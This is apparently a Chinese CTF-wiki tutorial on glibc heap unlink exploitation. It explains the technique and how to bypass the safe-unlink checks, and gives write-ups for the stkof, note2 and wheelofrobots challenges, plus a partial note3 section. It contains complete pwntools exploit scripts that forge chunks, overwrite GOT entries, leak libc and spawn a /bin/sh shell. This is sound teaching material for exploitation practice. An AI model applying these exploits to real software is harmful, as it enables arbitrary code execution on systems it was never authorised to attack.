Unlink¶
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原理¶
我们在利用 unlink 所造成的漏洞时，其实就是对 chunk 进行内存布局，然后借助 unlink 操作来达成修改指针的效果。
我们先来简单回顾一下 unlink 的目的与过程，其目的是把一个双向链表中的空闲块拿出来（例如 free 时和目前物理相邻的 free chunk 进行合并）。其基本的过程如下
下面我们首先介绍一下 unlink 最初没有防护时的利用方法，然后介绍目前利用 unlink 的方式。
古老的 unlink¶
在最初 unlink 实现的时候，其实是没有对 chunk 的 size 检查和双向链表检查的，即没有如下检查代码。
// 由于 P 已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
// largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);
现在有物理空间连续的两个 chunk（Q，Nextchunk），其中 Q 处于使用状态、Nextchunk 处于释放状态。那么如果我们通过某种方式（比如溢出）将 Nextchunk 的 fd 和 bk 指针修改为指定的值。则当我们free(Q)时
- glibc 判断这个块是 small chunk
- 判断前向合并，发现前一个 chunk 处于使用状态，不需要前向合并
- 判断后向合并，发现后一个 chunk 处于空闲状态，需要合并
- 继而对 Nextchunk 采取 unlink 操作
那么 unlink 具体执行的效果是什么样子呢？我们可以来分析一下
- FD=P->fd = target addr -12
- BK=P->bk = expect value
- FD->bk = BK，即 *(target addr-12+12)=BK=expect value
- BK->fd = FD，即*(expect value +8) = FD = target addr-12
看起来我们似乎可以通过 unlink 直接实现任意地址读写的目的，但是我们还是需要确保 expect value +8 地址具有可写的权限。
比如说我们将 target addr 设置为某个 got 表项，那么当程序调用对应的 libc 函数时，就会直接执行我们设置的值（expect value）处的代码。需要注意的是，expect value+8 处的值被破坏了，需要想办法绕过。
当前的 unlink¶
但是，现实是残酷的。。我们刚才考虑的是没有检查的情况，但是一旦加上检查，就没有这么简单了。我们看一下对 fd 和 bk 的检查
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
此时
- FD->bk = target addr - 12 + 12=target_addr
- BK->fd = expect value + 8
那么我们上面所利用的修改 GOT 表项的方法就可能不可用了。但是我们可以通过伪造的方式绕过这个机制。
首先我们通过覆盖，将 nextchunk 的 FD 指针指向了 fakeFD，将 nextchunk 的 BK 指针指向了 fakeBK 。那么为了通过验证，我们需要
fakeFD -> bk == P<=>*(fakeFD + 12) == PfakeBK -> fd == P<=>*(fakeBK + 8) == P
当满足上述两式时，可以进入 Unlink 的环节，进行如下操作：
fakeFD -> bk = fakeBK<=>*(fakeFD + 12) = fakeBKfakeBK -> fd = fakeFD<=>*(fakeBK + 8) = fakeFD
如果让 fakeFD + 12 和 fakeBK + 8 指向同一个指向P的指针，那么：
*P = P - 8*P = P - 12
即通过此方式，P 的指针指向了比自己低 12 的地址处。此方法虽然不可以实现任意地址写，但是可以修改指向 chunk 的指针，这样的修改是可以达到一定的效果的。
如果我们想要使得两者都指向 P，只需要按照如下方式修改即可
需要注意的是，这里我们并没有违背下面的约束，因为 P 在 Unlink 前是指向正确的 chunk 的指针。
// 由于P已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
此外，其实如果我们设置next chunk 的 fd 和 bk 均为 nextchunk 的地址也是可以绕过上面的检测的。但是这样的话，并不能达到修改指针内容的效果。
利用思路¶
条件¶
- UAF ，可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
- 已知位置存在一个指针指向可进行 UAF 的 chunk
效果¶
使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18
思路¶
设指向可 UAF chunk 的指针的地址为 ptr
- 修改 fd 为 ptr - 0x18
- 修改 bk 为 ptr - 0x10
- 触发 unlink
ptr 处的指针会变为 ptr - 0x18。
2014 HITCON stkof¶
基本信息¶
➜ 2014_hitcon_stkof git:(master) file stkof
stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped
➜ 2014_hitcon_stkof git:(master) checksec stkof
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unlink/2014_hitcon_stkof/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以看出，程序是 64 位的，主要开启了 Canary 和 NX 保护。
基本功能¶
程序存在 4 个功能，经过 IDA 分析后可以分析功能如下
- alloc：输入 size，分配 size 大小的内存，并在 bss 段记录对应 chunk 的指针，假设其为 global
- read_in：根据指定索引，向分配的内存处读入数据，数据长度可控，这里存在堆溢出的情况
- free：根据指定索引，释放已经分配的内存块
- useless：这个功能并没有什么卵用，本来以为是可以输出内容，结果什么也没有输出
IO 缓冲区问题分析¶
值得注意的是，由于程序本身没有进行 setbuf 操作，所以在执行输入输出操作的时候会申请缓冲区。这里经过测试，会申请两个缓冲区，分别大小为 1024 和 1024。具体如下，可以进行调试查看
初次调用 fgets 时，malloc 会分配缓冲区 1024 大小。
*RAX 0x0
*RBX 0x400
*RCX 0x7ffff7b03c34 (__fxstat64+20) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX 0x88
*RDI 0x400
*RSI 0x7fffffffd860 ◂— 0x16
*R8 0x1
*R9 0x0
*R10 0x7ffff7fd2700 ◂— 0x7ffff7fd2700
*R11 0x246
*R12 0xa
*R13 0x9
R14 0x0
*R15 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288
*RBP 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2288
*RSP 0x7fffffffd858 —▸ 0x7ffff7a7a1d5 (_IO_file_doallocate+85) ◂— mov rsi, rax
*RIP 0x7ffff7a91130 (malloc) ◂— push rbp
─────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────
► 0x7ffff7a91130 <malloc> push rbp <0x7ffff7dd18e0>
...，省略
► f 0 7ffff7a91130 malloc
f 1 7ffff7a7a1d5 _IO_file_doallocate+85
f 2 7ffff7a88594 _IO_doallocbuf+52
f 3 7ffff7a8769c _IO_file_underflow+508
f 4 7ffff7a8860e _IO_default_uflow+14
f 5 7ffff7a7bc6a _IO_getline_info+170
f 6 7ffff7a7bd78
f 7 7ffff7a7ab7d fgets+173
f 8 400d2e
f 9 7ffff7a2d830 __libc_start_main+240
分配之后，堆如下
pwndbg> heap
Top Chunk: 0xe05410
Last Remainder: 0
0xe05000 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0xe05410 PREV_INUSE {
prev_size = 0,
size = 134129,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
当分配16大小的内存后，堆布局如下
pwndbg> heap
Top Chunk: 0xe05430
Last Remainder: 0
0xe05000 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0xa3631,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0xe05410 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20bd1
}
0xe05430 PREV_INUSE {
prev_size = 0,
size = 134097,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
当使用 printf 函数，会分配 1024 字节空间，如下
*RAX 0x0
*RBX 0x400
*RCX 0x7ffff7b03c34 (__fxstat64+20) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX 0x88
*RDI 0x400
*RSI 0x7fffffffd1c0 ◂— 0x16
R8 0x0
*R9 0x0
*R10 0x0
*R11 0x246
*R12 0x1
*R13 0x7fffffffd827 ◂— 0x31 /* '1' */
R14 0x0
*R15 0x400de4 ◂— and eax, 0x2e000a64 /* '%d\n' */
*RBP 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2284
*RSP 0x7fffffffd1b8 —▸ 0x7ffff7a7a1d5 (_IO_file_doallocate+85) ◂— mov rsi, rax
*RIP 0x7ffff7a91130 (malloc) ◂— push rbp
─────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────
► 0x7ffff7a91130 <malloc> push rbp <0x7ffff7dd2620>
。。。省略
► f 0 7ffff7a91130 malloc
f 1 7ffff7a7a1d5 _IO_file_doallocate+85
f 2 7ffff7a88594 _IO_doallocbuf+52
f 3 7ffff7a878f8 _IO_file_overflow+456
f 4 7ffff7a8628d _IO_file_xsputn+173
f 5 7ffff7a5ae00 vfprintf+3216
f 6 7ffff7a62899 printf+153
f 7 4009cd
f 8 400cb1
f 9 7ffff7a2d830 __libc_start_main+240
堆布局如下
pwndbg> heap
Top Chunk: 0xe05840
Last Remainder: 0
0xe05000 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0xa3631,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0xe05410 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x411
}
0xe05430 PREV_INUSE {
prev_size = 0,
size = 1041,
fd = 0xa4b4f,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0xe05840 PREV_INUSE {
prev_size = 0,
size = 133057,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
此后，无论是输入输出都不会再申请缓冲区了。所以我们最好最初的申请一个 chunk 来把这些缓冲区给申请了，方便之后操作。
但是，比较有意思的是，如果我们是 attach 上去的话，第一个缓冲区分配的大小为 4096 大小。
pwndbg> heap
Top Chunk: 0x1e9b010
Last Remainder: 0
0x1e9a000 PREV_INUSE {
prev_size = 0,
size = 4113,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x1e9b010 PREV_INUSE {
prev_size = 0,
size = 135153,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
基本思路¶
根据上面分析，我们在前面先分配一个 chunk 来把缓冲区分配完毕，以免影响之后的操作。
由于程序本身没有 leak，要想执行 system 等函数，我们的首要目的还是先构造 leak，基本思路如下
- 利用 unlink 修改 global[2] 为 &global[2]-0x18。
- 利用编辑功能修改 global[0] 为 free@got 地址，同时修改 global[1] 为puts@got 地址，global[2] 为 atoi@got 地址。
- 修改
free@got为puts@plt的地址，从而当再次调用free函数时，即可直接调用 puts 函数。这样就可以泄漏函数内容。 - free global[1]，即泄漏 puts@got 内容，从而知道 system 函数地址以及 libc 中 /bin/sh 地址。
- 修改
atoi@got为 system 函数地址，再次调用时，输入 /bin/sh 地址即可。
代码如下
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
def exp():
# trigger to malloc buffer for io function
alloc(0x100) # idx 1
# begin
alloc(0x30) # idx 2
# small chunk size in order to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(3)
p.recvuntil('OK\n')
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
stkof.got['atoi'])
edit(2, len(payload), payload)
# edit free@got to puts@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)
# free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))
# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()
if __name__ == "__main__":
exp()
2016 ZCTF note2¶
分析程序¶
首先，我们先分析一下程序，可以看出程序的主要功能为
- 添加note，size限制为0x80，size会被记录，note指针会被记录。
- 展示note内容。
- 编辑note内容，其中包括覆盖已有的note，在已有的note后面添加内容。
- 释放note。
仔细分析后，可以发现程序有以下几个问题
- 在添加note时，程序会记录note对应的大小，该大小会用于控制读取note的内容，但是读取的循环变量i是无符号变量，所以比较时都会转换为无符号变量，那么当我们输入size为0时，glibc根据其规定，会分配0x20个字节，但是程序读取的内容却并不受到限制，故而会产生堆溢出。
- 程序在每次编辑note时，都会申请0xa0大小的内存，但是在 free 之后并没有设置为NULL。
第一个问题对应在ida中的代码如下
unsigned __int64 __fastcall ReadLenChar(__int64 a1, __int64 a2, char a3)
{
char v4; // [sp+Ch] [bp-34h]@1
char buf; // [sp+2Fh] [bp-11h]@2
unsigned __int64 i; // [sp+30h] [bp-10h]@1
__int64 v7; // [sp+38h] [bp-8h]@2
v4 = a3;
for ( i = 0LL; a2 - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == v4 )
break;
*(_BYTE *)(i + a1) = buf;
}
*(_BYTE *)(a1 + i) = 0;
return i;
}
其中i是unsigned类型，a2为int类型，所以两者在for循环相比较的时候，a2-1的结果-1会被视为unsigned类型，此时，即最大的整数。所以说可以读取任意长度的数据，这里也就是后面我们溢出所使用的办法。
基本思路¶
这里我们主要利用发现的第一个问题，主要利用了 fastbin 的机制、unlink 的机制。
下面依次进行讲解。
基本操作¶
首先，我们先把note可能的基本操作列举出来。
p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
def newnote(length, content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('(less than 128)')
p.sendline(str(length))
p.recvuntil('content:')
p.sendline(content)
def shownote(id):
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('note:')
p.sendline(str(id))
def editnote(id, choice, s):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('2.append]')
p.sendline(str(choice))
p.sendline(s)
def deletenote(id):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('note:')
p.sendline(str(id))
生成三个note¶
构造三个 chunk，chunk0、chunk1 和 chunk2
# chunk0: a fake chunk
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)
其中这三个 chunk 申请时的大小分别为0x80，0，0x80，chunk1 虽然申请的大小为0，但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段(prev_size,size,fd,bk)，所以会分配 0x20 的空间。同时，由于无符号整数的比较问题，可以为该note输入任意长的字符串。
这里需要注意的是，chunk0 中一共构造了两个 chunk
- chunk ptr[0]，这个是为了 unlink 时修改对应的值。
- chunk ptr[0]'s nextchunk，这个是为了使得 unlink 时的第一个检查满足。
// 由于P已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
当构造完三个 note 后，堆的基本构造如图1所示。
+-----------------+ high addr
| ... |
+-----------------+
| 'b'*8 |
ptr[2]-----------> +-----------------+
| size=0x91 |
+-----------------+
| prevsize |
+-----------------|------------
| unused |
+-----------------+
| 'a'*8 |
ptr[1]----------> +-----------------+ chunk 1
| size=0x20 |
+-----------------+
| prevsize |
+-----------------|-------------
| unused |
+-----------------+
| prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
| 64*'a' |
+-----------------+
| fakebk |
+-----------------+
| fakefd |
+-----------------+
| 0x61 | chunk 0
+-----------------+
| 'a *8 |
ptr[0]----------> +-----------------+
| size=0x91 |
+-----------------+
| prev_size |
+-----------------+ low addr
图1
释放 chunk1-覆盖 chunk2-释放 chunk2¶
对应的代码如下
# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)
首先释放 chunk1，由于该chunk属于fastbin，所以下次在申请的时候仍然会申请到该chunk，同时由于上面所说的类型问题，我们可以读取任意字符，所以就可以覆盖chunk2，覆盖之后如图2所示。
+-----------------+high addr
| ... |
+-----------------+
| '\x00'+'b'*7 |
ptr[2]-----------> +-----------------+ chunk 2
| size=0x90 |
+-----------------+
| 0xa0 |
+-----------------|------------
| 'a'*8 |
+-----------------+
| 'a'*8 |
ptr[1]----------> +-----------------+ chunk 1
| size=0x20 |
+-----------------+
| prevsize |
+-----------------|-------------
| unused |
+-----------------+
| prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
| 64*'a' |
+-----------------+
| fakebk |
+-----------------+
| fakefd |
+-----------------+
| 0x61 | chunk 0
+-----------------+
| 'a *8 |
ptr[0]----------> +-----------------+
| size=0x91 |
+-----------------+
| prev_size |
+-----------------+ low addr
图2
该覆盖主要是为了释放chunk2的时候可以后向合并（合并低地址），对chunk0中虚拟构造的chunk进行unlink。即将要执行的操作为unlink(ptr[0])，同时我们所构造的fakebk和fakefd满足如下约束
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
unlink成功执行，会导致ptr[0]所存储的地址变为fakebk，即ptr-0x18。
获取system地址¶
代码如下
# overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)
sh.recvuntil('is ')
atoi_addr = sh.recvuntil('\n', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)
# get system addr
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest
print 'leak system addr: ', hex(system_addr)
我们修改ptr[0]的内容为 ptr 的地址-0x18，所以当我们再次编辑 note0 时，可以覆盖ptr[0]的内容。这里我们将其覆盖为atoi的地址。 这样的话，如果我们查看note 0的内容，其实查看的就是atoi的地址。
之后我们根据 libc 中对应的偏移计算出 system 的地址。
修改atoi got¶
# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)
由于此时 ptr[0] 的地址 got 表的地址，所以我们可以直接修改该 note，覆盖为 system 地址。
get shell¶
# get shell
sh.recvuntil('option--->>')
sh.sendline('/bin/sh')
sh.interactive()
此时如果我们再调用 atoi ，其实调用的就是 system 函数，所以就可以拿到shell了。
2017 insomni'hack wheelofrobots¶
基本信息¶
➜ 2017_insomni'hack_wheelofrobots git:(master) file wheelofrobots
wheelofrobots: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=48a9cceeb7cf8874bc05ccf7a4657427fa4e2d78, stripped
➜ 2017_insomni'hack_wheelofrobots git:(master) checksec wheelofrobots
[*] "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/unlink/2017_insomni'hack_wheelofrobots/wheelofrobots"
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
动态链接64位，主要开启了 canary 保护与 nx 保护。
基本功能¶
大概分析程序，可以得知，这是一个配置机器人轮子的游戏，机器人一共需要添加 3 个轮子。
程序非常依赖的一个功能是读取整数，该函数read_num是读取指定的长度，将其转化为 int 类型的数字。
具体功能如下
- 添加轮子，一共有 6 个轮子可以选择。选择轮子时使用函数是read_num，然而该函数在读取的时候
read_num((char *)&choice, 5uLL);读取的长度是 5 个字节，恰好覆盖了 bender_inuse 的最低字节，即构成了 off-by-one 漏洞。与此同时，在添加 Destructor 轮子的时候，并没有进行大小检测。如果读取的数为负数，那么在申请calloc(1uLL, 20 * v5);时就可能导致20*v5溢出，但与此同时，destructor_size = v5仍然会很大。 - 移除轮子，直接将相应轮子移除，但是并没有将其对应的指针设置为 NULL ，其对应的大小也没有清空。
- 修改轮子名字，这个是根据当时申请的轮子的大小空间来读取数据。之前我们已经说过 destructor 轮子读取大小时，并没有检测负数的情况，所以在进行如下操作时
result = read(0, destructor, 20 * destructor_size);，存在几乎任意长度溢出的漏洞。 - 启动机器人，在启动的时候会随机地输出一些轮子的名称，这个是我们难以控制的。
综上分析，我们可以知道的是，该程序主要存在的漏洞 off-by-one 与整数溢出。这里我们主要使用前面的off-by-one 漏洞。
利用思路¶
基本利用思路如下
- 利用 off by one 漏洞与 fastbin attack 分配 chunk 到 0x603138，进而可以控制
destructor_size的大小，从而实现任意长度堆溢出。这里我们将轮子1 tinny 分配到这里。 - 分别分配合适大小的物理相邻的 chunk，其中包括 destructor。借助上面可以任意长度堆溢出的漏洞，对 destructor 对应的 chunk 进行溢出，将其溢出到下一个物理相邻的 chunk，从而实现对 0x6030E8 处 fake chunk 进行 unlink 的效果，这时 bss 段的 destructor 指向 0x6030D0。从而，我们可以再次实现覆盖bss 段几乎所有的内容。
- 构造一个任意地址写的漏洞。通过上述的漏洞将已经分配的轮子1 tinny 指针覆盖为 destructor 的地址，那么此后编辑 tinny 即在编辑 destructor 的内容，进而当我们再次编辑 destructor 时就相当于任意低地址写。
- 由于程序只是在最后启动机器人的时候，才会随机输出一些轮子的内容，并且一旦输出，程序就会退出，由于这部分我们并不能控制，所以我们将
exit()patch 为一个ret地址。这样的话，我们就可以多次输出内容了，从而可以泄漏一些 got 表地址。其实，既然我们有了任意地址写的漏洞，我们也可以将某个 got 写为 puts 的 plt 地址，进而调用相应函数时便可以直接将相应内容输出。但是这里并不去采用这种方法，因为之前已经在 hitcon stkof 中用过这种手法了。 - 在泄漏了相应的内容后，我们便可以得到 libc 基地址，system 地址，libc中的 /bin/sh 地址。进而我们修改 free@got 为 system 地址。从而当再次释放某块内存时，便可以启动shell。
代码如下
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./wheelofrobots"
robots = ELF('./wheelofrobots')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./wheelofrobots")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset
def add(idx, size=0):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Your choice :')
p.sendline(str(idx))
if idx == 2:
p.recvuntil("Increase Bender's intelligence: ")
p.sendline(str(size))
elif idx == 3:
p.recvuntil("Increase Robot Devil's cruelty: ")
p.sendline(str(size))
elif idx == 6:
p.recvuntil("Increase Destructor's powerful: ")
p.sendline(str(size))
def remove(idx):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Your choice :')
p.sendline(str(idx))
def change(idx, name):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Your choice :')
p.sendline(str(idx))
p.recvuntil("Robot's name: \n")
p.send(name)
def start_robot():
p.recvuntil('Your choice :')
p.sendline('4')
def overflow_benderinuse(inuse):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Your choice :')
p.send('9999' + inuse)
def write(where, what):
change(1, p64(where))
change(6, p64(what))
def exp():
print "step 1"
# add a fastbin chunk 0x20 and free it
# so it is in fastbin, idx2->NULL
add(2, 1) # idx2
remove(2)
# overflow bender inuse with 1
overflow_benderinuse('\x01')
# change bender's fd to 0x603138, point to bender's size
# now fastbin 0x20, idx2->0x603138->NULL
change(2, p64(0x603138))
# in order add bender again
overflow_benderinuse('\x00')
# add bender again, fastbin 0x603138->NULL
add(2, 1)
# in order to malloc chunk at 0x603138
# we need to bypass the fastbin size check, i.e. set *0x603140=0x20
# it is at Robot Devil
add(3, 0x20)
# trigger malloc, set tinny point to 0x603148
add(1)
# wheels must <= 3
remove(2)
remove(3)
print 'step 2'
# alloc Destructor size 60->0x50, chunk content 0x40
add(6, 3)
# alloc devil, size=20*7=140, bigger than fastbin
add(3, 7)
# edit destructor's size to 1000 by tinny
change(1, p64(1000))
# place fake chunk at destructor's pointer
fakechunk_addr = 0x6030E8
fakechunk = p64(0) + p64(0x20) + p64(fakechunk_addr - 0x18) + p64(
fakechunk_addr - 0x10) + p64(0x20)
fakechunk = fakechunk.ljust(0x40, 'a')
fakechunk += p64(0x40) + p64(0xa0)
change(6, fakechunk)
# trigger unlink
remove(3)
print 'step 3'
# make 0x6030F8 point to 0x6030E8
payload = p64(0) * 2 + 0x18 * 'a' + p64(0x6030E8)
change(6, payload)
print 'step 4'
# make exit just as return
write(robots.got['exit'], 0x401954)
print 'step 5'
# set wheel cnt =3, 0x603130 in order to start robot
write(0x603130, 3)
# set destructor point to puts@got
change(1, p64(robots.got['puts']))
start_robot()
p.recvuntil('New hands great!! Thx ')
puts_addr = p.recvuntil('!\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc base: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
# make free->system
write(robots.got['free'], system_addr)
# make destructor point to /bin/sh addr
write(0x6030E8, binsh_addr)
# get shell
remove(6)
p.interactive()
if __name__ == "__main__":
exp()
题目¶
参考¶
- malloc@angelboy
- https://gist.github.com/niklasb/074428333b817d2ecb63f7926074427a
note3¶
介绍¶
ZCTF 2016的一道题目，考点是safe unlink的利用。
题目介绍¶
题目是一个notepad，提供了创建、删除、编辑、查看笔记的功能
1.New note
2.Show note
3.Edit note
4.Delete note
5.Quit
option--->>
保护如下所示
Canary : Yes
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
功能概述¶
程序New功能用来新建笔记，笔记的大小可以自定只要小于1024字节。
int new()
{
puts("Input the length of the note content:(less than 1024)");
size = get_num();
if ( size < 0 )
return puts("Length error");
if ( size > 1024 )
return puts("Content is too long");
heap_ptr = malloc(size);
puts("Input the note content:");
my_read(heap_ptr, size, '\n');
bss_ptr[i] = heap_ptr;
current_ptr[i + 8LL] = size;
current_ptr[0] = bss_ptr[i];
return printf("note add success, the id is %d\n", i);
}
所有的笔记malloc出来的指针存放在bss上全局数组bss_ptr中，这个数组最多可以存放8个heap_ptr。 而且heap_ptr对应的size也被放在bss_ptr数组中。current_ptr表示当前笔记，bss布局如下。
.bss:
current_ptr
note0_ptr
note1_ptr
note2_ptr
note3_ptr
note4_ptr
note5_ptr
note6_ptr
note7_ptr
note0_size
note1_size
note2_size
note3_size
note4_size
note5_size
note6_size
note7_size
Show功能是无用的功能，edit和delete可以编辑和释放note。
漏洞¶
漏洞存在于edit功能中，这里面在获取用户输入的id号之后并没有进行验证。如果输入的id是负数的话依然可以执行。 在get_num函数中存在整数溢出漏洞，我们可以获得一个负数。
int edit()
{
id = get_num();
data_ptr = ptr[id];
if ( data_ptr )
{
puts("Input the new content:");
my_read(ptr[id], current_ptr[id + 8], '\n');
current_ptr[0] = ptr[id];
data_ptr = puts("Edit success");
}
}
因此我们可以使得edit读入cuurent_ptr，使用的size是note7_ptr
.bss:
current_ptr <== edit ptr
note0_ptr
note1_ptr
note2_ptr
note3_ptr
note4_ptr
note5_ptr
note6_ptr
note7_ptr <== size
note0_size
note1_size
note2_size
note3_size
note4_size
note5_size
note6_size
note7_size
new(512,'a')
new(512,'a')
new(512,'a')
new(512,'a')
new(512,'a')
new(512,'a')
new(512,'a')
new(512,'a')
edit(3,'a')
edit(-9223372036854775808,data);
